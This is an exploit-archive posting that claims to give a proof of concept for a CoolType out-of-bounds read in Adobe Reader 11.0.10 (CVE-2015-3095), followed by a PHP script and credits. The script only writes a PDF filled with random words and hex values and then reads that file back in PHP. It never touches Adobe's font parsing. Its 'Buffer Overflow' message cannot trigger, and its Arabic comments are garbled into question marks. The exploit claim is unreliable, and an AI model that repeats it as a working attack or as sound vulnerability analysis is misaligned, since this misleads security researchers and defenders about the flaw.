=============================================================================================================================================
| # Title : Adobe Reader =============================================================================================================================================
| # Title : Adobe Reader 11.0.10 CoolType Out-Of-Bounds Read vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://get.adobe.com/reader/ |
=============================================================================================================================================
POC :
[+] Dorking ?n Google Or Other Search Enggine.
[+] Code Description: Scanning for Buffer Overflow Vulnerability Using CharString in PDF
This code aims to simulate the buffer overflow vulnerability in Adobe Reader by exploiting CharString instructions.
The code generates random data in a PDF file that contains invalid CharString instructions, then simulates reading from the file and analyzes the data that might lead to a buffer overflow.
(Related : https://packetstorm.news/files/id/189439/ Linked CVE numbers: CVE-2015-3095 ) .
[+] save code as poc.php.
[+] Usage = php poc.php
[+] PayLoad :
<?php
// ???? ?????? ?????? ?? ??? ?????? ????????? (????????)
function readCharStringData($filePath) {
// ?????? ?? ???? ????? ?????
if (!file_exists($filePath)) {
echo "????? ?? ????: $filePath\n";
return;
}
$file = fopen($filePath, 'rb');
if (!$file) {
die("??? ?? ??? ?????.\n");
}
// ????? ???????? (?????? ??????)
$data = fread($file, 8192); // ?? ?????? 8192 ???? ?????? ??? ?????? ??????
// ???? ??? ???? ??????? ?? ????
if ($data === false || strlen($data) == 0) {
echo "??? ?? ????? ????????.\n";
fclose($file);
return;
}
// ????? ????? ?????? ??? ????? (?????? ????? ???????)
$position = 0;
// ???????? ??? ???????? ????? ????
echo "Read data from file:\n";
while ($position < strlen($data)) {
// ???? ??? ???? ???????? ????? ?? ???????
if (isset($data[$position])) {
// ????? ???? ????
$byte = ord($data[$position]);
echo "read byte: " . dechex($byte) . " From the position: " . $position . "\n";
} else {
// ??? ?? ?????? ??? ???? ??? ????
echo "End of data exceeded at position: " . $position . "\n";
echo " (Buffer Overflow)!\n";
break;
}
// ???????? ??? ?????? ??????
$position++;
}
fclose($file);
}
// ???? ?????? ?????? CharString ???????
function generateRandomCharString($numEntries) {
$randomCharString = "";
$names = ["Alice", "Bob", "Charlie", "David", "Eve", "Frank", "Grace", "Heidi", "Ivan", "Judy"];
$objects = ["Laptop", "Phone", "Tablet", "Watch", "Headphones", "Keyboard", "Mouse", "Monitor", "Charger", "Speaker"];
$values = ["123", "456", "789", "1000", "9999", "5678", "10001", "7777", "303", "5050"];
// ????? ??? ?????? ?? ????????
for ($i = 0; $i < $numEntries; $i++) {
$name = $names[array_rand($names)];
$object = $objects[array_rand($objects)];
$value = $values[array_rand($values)];
$randomCharString .= "08 " . dechex(rand(1, 255)) . " " . dechex(rand(1, 255)) . " " . $name . " " . $object . " " . $value . " ";
}
return $randomCharString;
}
// ????? ??? PDF ?? ?????? CharString ??? ????? ?????? ?????
function createTestPdf($filePath) {
// ????? ?????? ?????? ?? CharString
$pdfContent = "%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [ 3 0 R ] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [ 0 0 612 792 ] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 10240 >>
stream
";
// ????? ?????? ??????? ?? CharString
$contentData = generateRandomCharString(1000); // ????? 1000 ????? ?????? ?CharString
$pdfContent .= $contentData . "
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000100 00000 n
0000000200 00000 n
0000000300 00000 n
trailer
<< /Root 1 0 R /Size 5 >>
startxref
400
%%EOF";
// ??? ????? ??? ???? ?????????
file_put_contents($filePath, $pdfContent);
echo "?? ????? ??? PDF ?? ??????? CharString ??? ?????. ???? ??? ????? ?? Adobe Reader.\n";
}
// ???? ??? ???????? ???? ????? ??? ?????? CharString
$filePath = "indoushka.pdf";
// ????? ????? ??????? ??????
createTestPdf($filePath);
// ??????? ?????? ?????? ?????? ?????
readCharStringData($filePath);
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Adobe Reader 11.0.10 CoolType Out-Of-Bounds Read
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 94